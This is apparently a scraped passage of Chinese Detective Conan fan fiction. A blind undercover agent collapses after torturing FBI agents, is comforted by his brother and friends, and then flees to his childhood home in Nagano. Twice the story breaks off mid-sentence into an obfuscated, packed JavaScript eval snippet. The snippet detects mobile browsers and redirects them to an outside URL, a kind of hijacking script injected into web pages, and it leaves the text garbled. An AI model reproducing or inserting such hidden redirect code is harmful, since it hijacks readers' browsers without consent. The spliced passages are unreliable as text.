见青年半晌没有回应,伊达航以为他是被吓到了,放缓了声音提议:“我记得你和萩原松田他们认识?要不要我打电话,让他们过来接你一下?” 缓慢处理掉对方话语中的信息,过了好几秒,才像是终于理解了意思。 伊达航看见青年迟钝地朝他摆摆手示意不用,慢慢拄着导盲杖离开。 看着径直离去的蒙眼青年,就算是平常人也能察觉到对方的不对劲吧? 伊达航皱紧眉,可惜他被这里的事故绊住脚步抽不开身,降谷和诸伏那边也不知道能不能及时看到消息…… 他拿出手机,犹豫再三还是按下了萩原的电话号码。 蒙眼青年走在路上,缓缓地抬起手,指尖触碰到脖颈上那条鲜艳的红围巾,但却汲取不到一丝暖意。他甚至能感觉到自己指尖的冰凉和细微的颤抖。 ……诸伏清浅。 他在心底用一种近乎陌生的口吻,轻轻地叩问着自己。 ……你在干什么啊。 83.谁来 萩原研二原本睡的好好的,接到班长的电话后一个激灵,直接跑去隔壁房间把松田阵平的被子掀了。 “小阵平!出事啦!” 被冷空气和幼驯染的闹腾整醒的松田咬牙切齿:“……你最好有事。” “班长出车祸了。” 哦那是真有事。 松田瞌睡这下是真的醒了,猛地坐起身:“那你还在这里干什么?”收拾收拾出门啊! “啊不不不,班长人没事,他只是刚好在车祸现场。”萩原连忙按住他,快速划拉手机了解事件,说到最后语调忍不住往上飘。 “……但他和小浅井碰上了?!” 【我和你们说的那位浅井君在车祸现场碰见了,但是他的状态好像有点不对劲。 我现在走不开,麻烦你们告诉那两位一下。 ——from伊达航】 两人兵荒马乱了一会儿,联系完那两位公安后双双站在公寓楼下。 “……我们好像不知道浅井要去哪?” 萩原想了想事故发生的地点,“从小浅井离开的方向来看的话——” 他们成功在米花町2丁目20番,也就是浅井宅门口蹲到了人。 “小浅井!”萩原研二立刻迎了上去,语气带着刻意营造的轻快,“我还在和小阵平吐槽这么早来你会不会还没醒呢。” “到底是谁一大早掀我被子?!” 松田阵平吐槽着跟了上来,目光不动声色地打量着眼前的青年。 浅井尘的脸色苍白得过分,唇色也浅淡近乎失血,周身笼罩着一层难以驱散的疲惫与…… 某种空洞感? 他皱了皱眉,对这突然出现在心头的形容词感到一阵质疑。 其实萩原研二的理由漏洞百出。 浅井尘作为一个常年四处采风的自由职业者,行踪本就不定,再加上组织的事务,今年回浅井宅的次数屈指可数。 任何一个细心的人都能看出,他们显然是有备而来专门堵人的。 然而浅井尘对他们的出现似乎并不意外,或者说,他已经没有精力表现出惊讶。 他只是微微偏头“看”向声音的来源,极其轻微地点头算是打招呼,随后便沉默地掏出钥匙,打开家门。 萩原和松田对视一眼,默契地跟上,一左一右,如同无声的护卫。 别墅门被打开,室内虽然物什丰富,却因长期无人居住而显得格外冷清。 诸伏清浅如同一个设定好程序的机器人,径直走向厨房吧台,拿起水壶,动作机械地开始接水、烧水。 整个过程流畅却毫无生气,仿佛这只是一个无需思考的固定流程。 此刻浅井尘的状态真的不对劲到没边,萩原和松田对视一眼,确定了对方想要传达的信息。 松田故意没有将门关严实:你联系金发大老师他们没有? 萩原眨眨眼:他们已经在赶来的路上了。 路上?松田不解。 金发大老师和景老爷的身份不适合出现在这里吧?尤其是在浅井尘的家里……呃,以及他们面前。 事实上诸伏清浅已经没有办法分出多余的精力去关注思考周围发生的事情,他此刻全部的注意力已经放在了系统面板上。 他有随时记录的习惯,那场对FBI探员的审讯,他更是完整地将其录了下来。 指甲的拔除,电流的刺激,水刑的窒息,烙刑的灼热,生理盐水浇灌伤口的痛楚…… 他拿起已经烧开的水壶,手中的重量突然和录像与记忆中的重量重合。 “小浅井,别忙了,我们……”萩原原本想劝他休息,但下一刻异变陡生。 砰。 笨重的电热水壶砸在地上,滚烫的热水洒了一地。 “浅井!/小浅井!” 松田阵平的反应最快,在清浅身体晃动的瞬间就已上前,一把捞住他险些软倒的身体敏捷地往后带了一步,险险避开地上仍在蔓延的滚烫热水。 他能感觉到臂弯里的身体瞬间变得僵硬,然后开始无法控制地剧烈颤抖起来,冰凉的冷汗几乎瞬间就浸湿了青年单薄的衣衫。 萩原研二敏锐地捕捉到青年艰难的吞咽动作,以及脸上骤然涌上的痛苦神色,他立刻明白了青年的不适。 他上前配合着松田调整青年的姿势,让他能俯下身,一手稳稳地扶住他的肩膀,另一只手在他背后一下下顺着,试图缓解那剧烈的痉挛。“没事,浅井,放松,试着呼吸……” 咔哒。 是门开的声音。 * 虽说大隐隐于市,但当降谷零真正站在米花町2丁目20番的门前时,心头仍不免掠过一丝诧异。 这并非他预想中那种随时可以舍弃的安全屋。前院精心打理的花草带着恬淡的生活气息,无声地宣告着这里是一个家。 ——是夏特勒兹,是属于“浅井尘”这个身份的、承载着生活痕迹的住所。 他下意识压了压帽檐,遮住过于显眼的金发,与身旁同样乔装成宅急便工作人员的诸伏景光(易容版)交换了一个眼神。与早已等在门口的伊达航碰头。 “你好,我们是宅急便服务的工作人员,请问是浅井先生吗?” 处理完事务急忙赶来的伊达航看着眼前乔装打扮的同期,默契接上戏: “啊……不是,我是前来拜访浅井先生的。不过我记得他有给我留门,我带你们进去吧。” “那就拜托您了。”其中一位他不认识的工作人员出声,发音却是自己熟悉的声线。 松田发过消息说给他们留了门,所以三人轻易地进入宅邸。 诸伏景光收到消息的时候就有种不好的预感。他的假身份尚未完善,按常理,降谷零绝不会贸然与他直接联系。 除非……出了大事。 “浅井的状态不对劲。”——消息里这么说。 这怎么可能?一个声音在他心底本能地反驳。 无论是情报的掌控还是长远的布局,他比任何人都清楚清浅在组织里需要何等强大的意志和伪装才能生存下来。 那孩子是那么坚韧,那么善于隐藏—— ……不。 这个否定的念头刚一升起,诸伏景光自己却愣住了。 他为什么会这么想? 这种对清浅强大的笃信,本身是否就是一种残忍的忽视? 在打开门看清里面的情形后,纷乱的思绪戛然而止,他有那么一瞬愣在原地。 他看见那个平日里在组织沉静如深潭,仿佛一切尽在掌握的蒙眼青年狼狈跪倒在地,正试图从胃里吐出些什么来。 “清……浅?” 降谷零迅速扫视现场——砸落的水壶,泼洒的热水,以及被萩原和松田扶着、却仍在无法控制地痉挛的苍白青年。 “怎么回事?”他快速上前。 “不知道,”萩原研二摇头,神色凝重:“我们刚进来,浅井……他应该是下意识去烧水,然后拿起水壶没多久就……突然就这样了。” 下意识?突然?这些字眼让降谷零联想到某些不好的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621739|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,他忍不住一愣。 不管怎么样,现在可不是愣着的时候!伊达航率先反应过来,将大门彻底关紧反锁,拉上窗帘避免外界的任何视线。 他目光扫过混乱的现场,沉声指挥道:“先别都围在这里,散开点,给他留出空间呼吸。” 这个时候诸伏景光上前,接过了萩原安抚的任务。他抿着唇轻声道:“……我来吧。” “小诸伏……?欸?好。”陌生的面容让萩原研二一愣,但他很快就认出了同期的声音。 他敏锐察觉到诸伏景光情绪下汹涌的暗流,但他没有多问,而是立刻将位置让了出来。 诸伏景光小心翼翼从萩原手里接过颤抖的青年,当他的手触碰到清浅冰凉汗湿的皮肤时,他的声音忍不住带了颤音:“清浅……?能认出我吗?” 怀中的青年毫无反应,依旧深陷在自我意识的泥沼里,破碎的气音断断续续地溢出。 诸伏景光由蹲改为跪坐,调整姿势让青年的重量都依靠在自己身上。 他捋了捋青年被汗水打湿的刘海,然后顺手将松散的蒙眼黑缎取下,露出那双震颤的雾蓝色眼睛。 “清……浅,我是哥哥,看着我……我在这里。”看着那片剧烈翻涌着痛苦的迷雾之海,诸伏景光的声音也不由自主地染上滞涩。 * 现实世界的声音对诸伏清浅而言,就像是隔着一层厚厚的灌满了水的玻璃,朦胧而扭曲。 他能感觉到有人支撑着自己,有一个温暖而安心的怀抱,有一个声音在持续不断地呼唤,试图将他从无尽的深渊中打捞上去。 是在……叫我吗? ……是谁? 诸伏景光看见那双无焦距的雾蓝色颤抖着微微偏移,似乎努力想要“看”向声源——看向他。 可是……我……听不清。 我……看不见。 他下意识想这么告诉那个抱着自己的人。 可是他怎么可能听不清? 可是他怎么可能看不见? 黑暗的视野里,系统清晰地在他脑海中回放审讯的每一个细节,拽着他的思绪,逼迫着他再次面对那间狭小血腥的审讯室里的一切。 “……眼睛……他的眼睛……散了……”他看见记录中那双涣散的蓝眼睛。 “……我说了……‘说’……没有停……”他听见电子音的机械重复如同恶魔的低语。 “……骨头……碎了……声音……火……味道……”他闻到皮/肉被炙烤的焦味。 他看得真切,他听得真切,他闻得真切,他触得真切。 探员的惨叫从高昂变得微弱,喘息从粗重归于沉寂。 电子音将同样的问题重复了一遍又一遍,手中的刑具换了一件又一件。 在那间审讯室里,每一次呼吸都像是吞咽着玻璃渣,刮擦着喉管,带起一阵浓重的、幻觉般的铁锈味。 他试图开口,想向那个温暖的怀抱陈述自己的所作所为,想要求得一丝理解或……宽恕? 但话语卡在喉咙里,努力了半晌,只能化作更加破碎和意义不明的音节迸出。 “明明是……友军……为什么……” 为什么? 自己,为什么要伤害他? “……对不起……停……停下来……求你……” 为什么,这个残忍的怪物…… 是我? “……血……好多……洗不掉……” “救……命……谁来……救救他……” 谁来……救救我? 84.没有人 ……所以,他之前为什么会那样笃定地认为清浅的意志和伪装强大到无懈可击? 诸伏景光看着眼睛无意识流出空洞和痛苦泪水,听着气音艰难挤出罪责与恐惧的碎片,他感觉自己那双能够稳稳端着狙击枪爆头的手正在不受控制地颤抖。 为什么他会这么觉得? 他扪心自问。论意志,他接受了完整的、塑造正确三观的教育,在警校庄严宣誓效忠于樱花徽章,为了国民安全毅然潜入黑暗; 论伪装,他经历了长达两年的专业卧底训练,最终成功潜入组织并获得代号。 那清浅呢? 论意志,他必须以盲哑人的身份在训练营里活下来,获得代号后更要亲手揪出潜伏的卧底,并进行残酷的审讯; 论伪装,他必须完美扮演“夏特勒兹”这个冷酷无情的组织高层,在权力倾轧中周旋的同时隐瞒自己真实的立场,甚至要策划并执行他们这些卧底的假死脱身。 就算是他自己,在公安的培养下,在组织的潜伏中,即便幼驯染同样潜伏在其中,他们能够互相照拂,他也都数次怀疑过自己—— 杀人的意义是什么?坚持的意义是什么?存在的意义是什么? 活着的意义是什么? 可清浅呢? 他没有得到过正向的引导,没有可以喘息的安全港湾。他走的每一步都可能是万丈深渊,每一个决定都关乎生死存亡。 他却独自一人,在这条绝路上行走了整整十九年。 他是怎么撑到今天的? 更确切地说,在那样一个吞噬光明的泥沼中,他究竟是怎么做到,至今仍未被彻底染黑的? “……哥……我难受……好难受……” 他听见他的弟弟认出了他,呜咽着,手指无意识死死揪住他后背的衣物,就像溺水者抓住唯一的浮木,用尽全身力气收紧拥抱,将他的骨头勒得发疼。 ……不。 诸伏景光在这一刻得到了那个残酷的答案。 他撑不到。 “清浅,我在……哥哥在这儿……”他强行稳着几乎崩溃的声线,一遍遍在弟弟耳边重复着苍白的安慰。 “我知道,我知道你难受……哥哥在,我在这里陪着你……没事的,会过去的……” 他的弟弟根本撑不到。 他的弟弟只是在黑暗中一次又一次地独自崩溃,然后拼拼凑凑,在充满裂痕的灵魂外套上一层完美无瑕的伪装后,继续虚与委蛇。 直到这一次的伪装被扒开,他们才得以窥见他内里的满目疮痍。 “我是……诸伏……清浅……”他听见弟弟喘息着,艰难地吐出这几个字,仿佛在向他,也向自己确认着什么。 “是的,”他立刻回应,声音带着不容置疑的肯定,“你是清浅。我的弟弟,诸伏清浅。” 破碎,黏合。再破碎,再黏合。这仿佛是一个永无止境的残酷循环。 清浅……我是……清浅…… 我是……清浅…… 我是……清浅……? 不。 意念中的录像仍在冷酷地播放,他看着画面里那个执行酷刑的身影,疑惑着。 ——然后否定着。 ——以及承认着。 诸伏景光看看见怀里的青年脸上浮现出茫然怔愣的神情,最终化为绝望的喃喃。 “不对……我是……夏特勒兹……不……我不是……” 录像里面的那个恶魔,是他。 可是,我还会吐,我还会怕,我还会为此痛苦不堪。这说明我不是他,我还没有完全变成他,我……还是个人。 对,但你无法否认。无数生命在你的手中崩溃……这不是演戏,不是为了大局,不是迫不得已…… 这是事实。 你的双手早已沾满污秽。 ……谁来救救他? 谁能把他拉出那个绝望的深渊? …… 好像没有人。 * 巨大的情绪爆发十分消耗精神,最后诸伏清浅是直接在诸伏景光怀里脱力彻底离线。 直到诸伏景光确认对方的呼吸变得平稳,将人带上二楼卧室休息后,众人才稍稍松了口气。 当诸伏景光卸去易/容,以真容重新出现在客厅时,憋了许久的松田阵平才终于忍不住,一拳砸在身旁的沙发扶手上:“这到底是怎么回事?” 就算是他也看得出来,浅井尘这绝非简单的身体不适,而是某种极其严重的精神创伤在不堪重负下的猛烈爆发。 伊达航沉声:“我一开始以为他是对车祸现场应激,但现在看来……” 他没说下去,但凝重的表情和未尽之语已经表明,事情远比他想象的要严重和复杂得多。 降谷零深吸一口气,紫灰色的眼眸中翻涌着复杂的情绪。 他迎着三位不知情的同期几乎凝成实质的注视,低声开口解释了大致缘由。 “hiro在不久之前暴露了。” 什么?! 三位同期倒吸一口气,脸上瞬间写满了震惊与后怕。卧底暴露意味着什么,他们再清楚不过。 “是清浅……是他当众背叛组织,强行救下我的。”诸伏景光走下最后一级台阶,苦笑一声接过幼驯染的话语。 回想起当初的情景,降谷零还是忍不住一个轻哼。 “最近这一年,组织内部都在肃清卧底,因为职位和能力的缘故,他……是这次肃清行动的主要执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16625465|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行人之一。” 他顿了顿,声音更沉:“我猜……他现在的状态,和最近的高强度审讯有关。” “……高强度审讯?”诸伏景光重复。 “对,你暴露后不到一年,莱伊也暴露了,这段时间组织一直在内查。”降谷零回忆着自己从组织里探查到的消息,“他这个样子,应该是刚完成一次审讯任务。 “对象的话……”降谷零有些无力地扯扯嘴角,“我收到的情报显示,阿尼赛特在追捕莱伊的行动中抓回了两个FBI探员。 后续的审讯……大概率落在了清浅头上。” 诸伏景光这下明白了。 天台那会儿的掀桌,意味着清浅从未将他们这些卧底搜查官当作过敌人,甚至可能认为他们是有着共同目标的盟友。 而对FBI探员的审讯,无疑是背刺盟友的举动。这种道德上的撕裂感,就算是他也无法轻易释怀,更何况清浅? 萩原研二深吸一口气,强行压下内心想要探究更多黑暗细节的冲动。他知道,后面的内容很可能涉及更核心的机密,或许不是他们应该深究的。 他巧妙地转移了话题,将焦点引向了另一个关键点:“对了小诸伏,我刚才听见了……他刚才,喊你‘哥哥’?” 这个问题一出,松田和伊达航也立刻投来询问的目光。这一点,他们也注意到了。 “是,”诸伏景光缓缓点头,“他的真名是清浅,诸伏清浅。” “……欸?!”萩原研二睁大眼睛,迅速在记忆中翻找起来。 几个画面闪过脑海——警校时期,诸伏景光提及过往时那种深深遗憾和悲伤的语气……他猛地想了起来,语气充满不可思议: “‘清浅’,是小诸伏你之前在警校说的那个,在你很小的时候就失踪的那个弟弟吗?!” 松田阵平的墨镜微微下滑,露出那双震惊的凫青色眼眸:“那个四岁就……等等,所以他是在那个组织里长大的?!” “……是。”诸伏景光艰难闭上眼。 “所以,他当年没有被外守一杀害,而是被组织带走了。”伊达航结合现有的信息开始梳理。 “对。” 松田阵平紧接着跟上思路,语速加快:“然后他在组织里长大,被培养成杀手,却依旧认出了你,并在你暴露的时候救下了你。” “……对。” 萩原的声音发涩,接上了最后一环:“然后你们的组织最近开始大清查,他为了维持身份,不得不对FBI的探员用刑从而撬出情报……所有压力聚集起来,从而导致了他今天的崩溃。” “……” “…………对。” 诸伏景光闭眼,这是他第三次憎恨自己的无能为力。 85.先吃饭吧 诸伏清浅从床上醒来的时候还是蒙的。 身体因为极度的情绪消耗而无比沉重,但精神却奇异地平静,仿佛被抽空。 大脑的一片空白让他的开机时间延长了一会儿,过了好久他的思绪才回笼。 我是谁?我在哪?我干了什么? 几个小时前自己失控的画面顺应思考开始回放,狼狈的呕吐,破碎的呓语,抱着景光哥不放…… 诸伏清浅:…… 诸伏清浅:? 卧槽。那个……是他? 他在景光哥和五人组的其余人面前,那个样子? 诸伏清浅瞳孔地震,诸伏清浅彻底麻了。 大脑开机后,其他的感官也逐渐回归。他没有立刻起身,敏锐的听力先一步捕捉到楼下的动静,厨房里传来手忙脚乱的锅碗碰撞声。 松田阵平压低声音地抱怨:“萩!让你切胡萝卜不是让你雕刻!” 萩原研二带着笑意反驳:“小阵平,料理的美感很重要啊!” 伊达航将手里的青菜洗干净放在沥水篮里,沉稳地打圆场:“好了好了,能吃就行。” 降谷零看着混乱的厨房,脸上露出一个核善的笑容: “你们,不要在厨房里添乱。” 诸伏·被挤到一旁·真正大厨·景光无奈叹气。 ……为什么他们还在这里。 诸伏清浅僵硬坐起身,身体的疲惫并没有因为沉睡而减轻。 他慢吞吞地下了床,在潜意识的驱动下推开房门。 于是楼下温暖的喧嚣如同有形的气浪迎面撞来,他闻到了空气中弥漫的味道。 咖喱的浓郁、味增的鲜味、煎鱼的咸香…… 不是审讯室里挥之不去的铁锈味,也不是基地里刺鼻的消毒水味,而是属于平常生活中的烟火气,与友人的吵闹声交织在一起,构成一个名为日常的幻梦。 他站在楼梯顶端,仿佛站在某条无形的界限边缘。 诸伏清浅深吸一口气,扶着楼梯扶手一步步向下。 他的脚步声轻得几不可闻,存在感也刻意收敛——这是他作为刺客的习惯,也像是下意识的回避,生怕惊扰了楼下那片他格格不入的温馨。 然而最先发现他的,永远是身为哥哥的诸伏景光。 几乎是他的身影刚出现在楼梯转角,诸伏景光的目光就立刻追了过来。 那目光里盛满了太多东西,但他没有立刻开口,只是那样静静地看着青年。 他的沉默像一种无声的宣告,厨房里的喧闹戛然而止。 像被按下了静音键其余四人同时转头,五道目光如同聚光灯,瞬间聚焦在楼梯口的身影上。 失去了黑缎的遮蔽,室内温暖的灯光下,他们终于看清了青年的外貌。 除去发型和气质,最先吸引所有人目光的,是那双眼睛——与诸伏景光如出一辙的上挑猫眼。 但和诸伏景光那锐利而清醒的蓝灰色不同,这双眼睛柔和一点,是更为浅淡的雾蓝色,像是北大西洋上弥漫不散的暖雾,朦胧地笼罩着整个海面,吞噬了所有远方的界限,只余下一片氤氲而温柔的虚光。 果然是兄弟呢。 众人心中不约而同地浮现这个念头。 诸伏清浅:……? 诸伏清浅被视线刺得如芒在背。 现在该做什么?清浅茫然了一瞬,随即反应过来——对了,该用“浅井尘”的身份,温和地说一声“没事”,免得他们担心。 于是他试图调动面部肌肉,扯出一个安抚性的微小弧度。 ……欸? 大脑一片空白。不是拒绝表演,而是程序无响应。 ……笑不出来。 人设档案好像读取失败了。 他突然找不到那个温和的语调,甚至无法控制肌肉做出一个最简单的微笑表情。 诸伏清浅愣在原地,茫然浮现在那双雾蓝色的眼眸中。 最终,是萩原研二率先打破了这令人窒息的沉默。 “呀,小清浅醒啦,正好我们在准备晚餐,应该很快就能搞定!” “如果你不在这里捣乱可能还能更快一点。”松田阵平吐槽。 “……这种事情你们半斤八两。”降谷零脑袋上冒出十字路口。 清浅听到了,也理解了。他应该回应,至少点一下头。 于是在一片空洞的沉默后,他循着记忆里浅井尘的行为模式,有些僵硬地微不可查地点了点头。 然后,他避开了所有可能与他交汇的视线。 或许是对眼前场景无所适从,他走下楼梯后犹豫片刻,最后凭着对家里布局的记忆,选择沉默地挪到客厅沙发最边缘的角落,将自己缓慢塞了进去,试图缩小存在感。 天大地大,吃饭最大。降谷零将捣乱的爆处双子星请出厨房,留下身为幼驯染的自己以及有帮女朋友做饭经验的班长打下手,景光大厨加快速度将晚饭做好端上桌。 “好了,我们先吃饭吧。”诸伏景光将在沙发上装蘑菇的清浅挖出来,无声地引导着,将弟弟安置在餐桌前。 “哇哦……”萩原研二发出一声极轻的惊叹。 那张与诸伏景光极其相似的脸庞完全暴露在明亮的灯光下,当两兄弟坐在一起时,那种镜像般的视觉效果愈发强烈。 松田阵平盯着看了几秒,有些别扭地抓了抓头发,小声对旁边的降谷零嘀咕:“……简直像在跟两个hiro旦那吃饭。” 降谷零嘴角微抽没有回答,只是目光复杂地在两张极其相似却又气质迥异的脸上扫过,最终落在清浅那双没有焦距的眼睛上,唇线抿得更紧。 这顿饭吃得异常安静。除了碗筷的轻微碰撞声,几乎听不到交谈。大家似乎都小心翼翼避开了所有可能触及雷区的话题。 为了照顾看不到的清浅,诸伏景光像当初在烤肉店里一样,将菜夹到清浅的碗里,然后清浅默不作声地全部吃掉。 直到—— 咔嚓。 一声细微的不同于咀嚼食物的轻响。诸伏清浅在众人若有若无的关注下停下动作,微微偏头将口中未能嚼碎的花蛤肉吐出。 有沙。 饭桌上的气氛瞬间变得更加凝滞,仿佛空气都沉重了几分。 伊达航:“……松田。” 负责清洗花蛤的松田阵平木着脸:“我的错。” 旁边的萩原研二想笑又觉得不合时宜,只能拼命忍住,肩膀微微耸动,变成了静音震动模式。 然后,他在桌子底下毫不意外地被幼驯染踹了一脚。 没关系。 清浅张了张嘴,大脑却一片空白。 “浅井尘”应该笑着说没关系,可他调动不了任何情绪,找不到那个角色的状态,发不出任何声音。 最终,他只是用筷子慢慢拨弄了一下碗里剩下的米饭,然后……就 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“总攻?”降谷零敏锐捕捉到了这个词汇,紫灰色的眼眸瞬间锐利起来,“什么总攻?清浅,你已经……掌握到这种程度了吗?” ……啊。他刚刚,不小心说出来了? 清浅猛地从自顾自的思绪中惊醒,意识到失言。 他抿唇,像是生怕再泄露任何一个字,接下来无论众人如何询问,他都只是沉默地用筷子有一下没一下地戳着碗里慢慢冷掉的米饭,用沉默筑起一道高墙。 “……清浅,不要糟蹋食物。” 哦。 诸伏清浅动作顿住,然后依言捧起碗,安安静静地将里面剩余的米饭全部吃掉。 晚餐在一种近乎沉重的氛围中结束。萩原和松田主动承担了洗碗的工作,伊达航和降谷零则帮着收拾餐桌。 清浅安静地坐在原地,仿佛周遭的一切都与他隔着一层透明的壁垒。 他听着厨房传来的水声和警官们刻意压低的、关于日常琐事的交谈,那些声音明明很近,却感觉异常遥远。 他能感觉到景光哥的视线始终若有若无地落在他身上,让他有点不自在。 于是他扶着桌子边缘慢慢站起身。 这个动作立刻引来了所有人的注意,交谈声再次停止。 “我……”他尝试发声,喉咙却干涩得发痛,只能挤出一点微弱的气音,“……回房间。” 他没有等任何人的回应,也无法承受更多的关怀或询问,只是凭借着记忆和直觉,踉跄却又异常迅速地朝着楼梯的方向挪动。 “清浅!”景光下意识地喊了一声,想要跟上。 “诸伏,”伊达航按住诸伏景光的肩膀,对他摇了摇头低声道,“让他……自己静一静吧。” 诸伏景光看着弟弟单薄而僵硬的背影,最终还是止住了上前的脚步。 诸伏清浅逃也似的回到二楼的房间,反手轻轻关上门,却没有锁。他背靠着冰冷的门板,缓缓滑坐在地,将脸深深埋进膝盖。 ……很糟糕的一天,连最基本的伪装都丧失了。 他还能……撑到那一天吗? ……两个小时后,发现房间里空无一人的诸伏景光后悔了当初没有跟上去的决定。 86.回家 若不是有意拦截,估计谁也抓不到诸伏清浅。 看着二楼卧室大开的窗户,诸伏景光面无表情地回想了一下初春仍然寒冷的天气,以及诸伏清浅身上的衣物—— 然后留意到了床头柜上留下的纸条—— 【我出去散一下心,玄关上面的柜子有浅井宅多的备用钥匙……你们要的话就拿吧。】 “嘛……小诸伏,至少小清浅还记得报备行程。”跟着上来的萩原研二看着背后好像有黑气隐隐冒出的同期,小心翼翼地试探道。 “……我知道的,萩原。”诸伏景光捏着纸条,回想起清浅的状态不由得叹了口气。 “他大概……只是还不习惯吧。” 不习惯被人这样看着,被人这样担心着,这么多年来他所有的情绪和崩溃都是自己一个人硬扛,现在突然被人围在中间关心……他反而不知道该怎么办了。 * 初春的夜晚寒意仍未褪去,诸伏清浅不知道自己走了多久。 离开浅井宅后他在东京的街头漫无目的地走着。身体的疲惫和精神的麻木再次席卷而上,让他感觉整个人像是在梦游,周遭的一切都隔着一层毛玻璃,模糊而不真切。 赶着回家的上班族,手里提着便利店的便当;相约逛街的高中女生说说笑笑,讨论哪家甜品店比较好吃。 他与路人擦肩而过,路过熙熙攘攘的商业街,路过一栋栋公寓楼,窗户里透出温暖的灯光,隐约能听到里面传来欢笑声与碗碟碰撞的清脆声响; 空气中弥漫着各家各户晚餐的复杂香气,味增汤的醇厚、烤鱼的焦香、炖肉的浓郁…… 这些气息交织在一起,构成一幅名为日常的生动画卷。 ……但这画卷与他无关。 内心的空洞和剥离感让他像一个误入人间的幽灵,徘徊在这片温暖的海域之外。 夜晚的城市万家灯火点起,他却不知自己要归于何处——他于黑暗中长大,早已与这个温暖而喧嚣的世界隔绝太久。 ……本该是这样的。 但等他反应过来时,他已经站在前往长野新干线的站台上,手里捏着一张刚刚购买的车票。 等下,他为什么要买票?诸伏清浅的眼里闪过一丝迷茫。 * ——当然是回家啊。 ——回到最开始的地方。 离开浅井宅的决定仓促,单薄的衣物在初春的夜晚还是不够看。 诸伏清浅没想起那条蒙眼的黑缎,翻窗而出时只来得及将那条廉价的红围巾胡乱地缠绕在颈间。 长野的夜晚比东京安静许多,空气也带着山间特有的清冽。 诸伏清浅凭着记忆走在既熟悉又陌生的街道上。 他罕见地打开了系统相机充当视野,离开十几年,街道的模样早已大幅变化,但大体的方向仿佛蚀刻在灵魂里。 然后,他拐过最后一个弯,脚步不由得顿住。 当年为了偿还重伤昏迷期间亲戚们帮忙垫付的医疗费用,诸伏家不得已将房子卖掉换取资金,但后来又被诸伏清浅匿名买回。 然而他的身份注定他不能长期接触这幢意义非凡的房子,否则会被有心人关注,跟自爆没有区别。 所以就算买下,他也不敢对这间屋子做些什么。 可是他“看”到了——那一栋记忆深处的房子,窗口正透出温暖的实实在在的光亮。 不是记忆中黑暗空寂的冰冷盒子,而是……亮着的。 空气中,那与东京街头混杂的香气截然不同,独属于家的温暖而具体的饭菜香,正丝丝缕缕地从中飘散出来。 雾蓝色的眼眸在夜色和灯光映照下,像两团迷失的氤氲雾气,倒映着窗口的光,却找不到焦点。 ……幻觉吗?还是他走错了? 他僵立在原地,一时之间无法理解眼前的景象。 可房子的轮廓,门前的台阶,甚至空气中那一点点若有似无的诸伏妈妈当年最爱的某种熏香残留都在告诉他——就是这里。 他下意识地想要走近,却又止步于数米之外,一时间自己也没有搞懂自己到底是想要过去还是离开。 于是他就这样徘徊在离家几步之遥的阴影里,直到房子的大门“吱呀”一声打开。 一个身影出现在门口的光晕里,只不过不是他记忆中的任何一位家人,而是…… 杉本教官。 对了。他恍然。他当初拜托了杉本教官入住这里了来着。 杉本发现了门口这个几乎与夜色融为一体的青年,看着他单薄的衣物、冻得有些发白的脸色,以及那双在灯光下茫然失焦的蓝色/猫眼,挑了挑眉。 他的脸上掠过一丝诧异,但很快就被一种“果然如此”的了然取代。 “杵在门口做什么?”头发灰白的男人声音略带沙哑。 他没有惊讶,没有追问,仿佛诸伏清浅的出现只是晚饭后一次寻常的串门。 “你又不是进不来。” 清浅似乎没想到对方会用这句话作为开场白,怔愣了好几秒才有些窘迫地微弱的气音回答: “……我没带钥匙。” 杉本闻言几乎都要气笑。 他上下打量了一下青年,语气带着点恨铁不成钢的揶揄和嫌弃:“撬锁技巧被你学到狗肚子里去了?还需要钥匙?” 诸伏清浅一时间不知道怎么回应,只得抿了抿唇。 杉本没有和他纠结这个,侧过身让出通道,用下巴朝屋里点了点:“行了,别在门口傻站着吹风,进来。” 屋内的暖意和饭菜香气扑面而来,与外面的寒冷形成了鲜明的对比。清浅犹豫了一下,最终还是遵循内心,低着头默默跟着杉本进了门。 墙角的涂鸦,书柜上的儿童画册,占据了电话座机一角的手工折纸……屋内的陈设与他记忆中离开的那一天几乎一模一样,时光仿佛在这里凝固。 杉本关上门,隔绝了外面的寒冷。他没有追问对方的来意,而是像拉家常一样问他:“吃饭了吗?” 没等清浅回答,他又自顾自地说:“别想了,我没煮你饭,想吃东西自己出门左拐便利店。” 诸伏清浅:…… “……我吃 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更不值得夏特勒兹胆大包天地违反boss的命令,瞒下自己的命——这不划算。 你说夏特勒兹是为了更长远的计谋? 拜托,他一没了几根手指,身体机能衰退的老头子有什么好计划的?不拖后腿已经谢天谢地了好吧。 当时蒙眼青年没有回答他,只是说他需要一个人来帮忙看守一间屋子。 ……哈?看守一间屋子?这竟然值他救下自己的命? 这孩子也没发烧啊怎么就大白天的说胡话呢。 杉本不理解,杉本大受震撼。 直到他入住这间被指定的屋子,隐姓埋名地生活一段时间后, 直到他偶然间在书柜的书籍中找到那张算得上是全家福的照片, 直到三年后的今天,他才明白—— ——他看守的不仅仅是一间屋子,更是那孩子精神的锚点。 * 接下来的三四天,诸伏清浅像一抹真正的幽魂,在这栋充满回忆的房子里沉默飘荡。 他大部分时间都蜷缩在角落,或者一动不动地坐在窗边,凭借着其他感官一点点重新熟悉、确认这个空间。 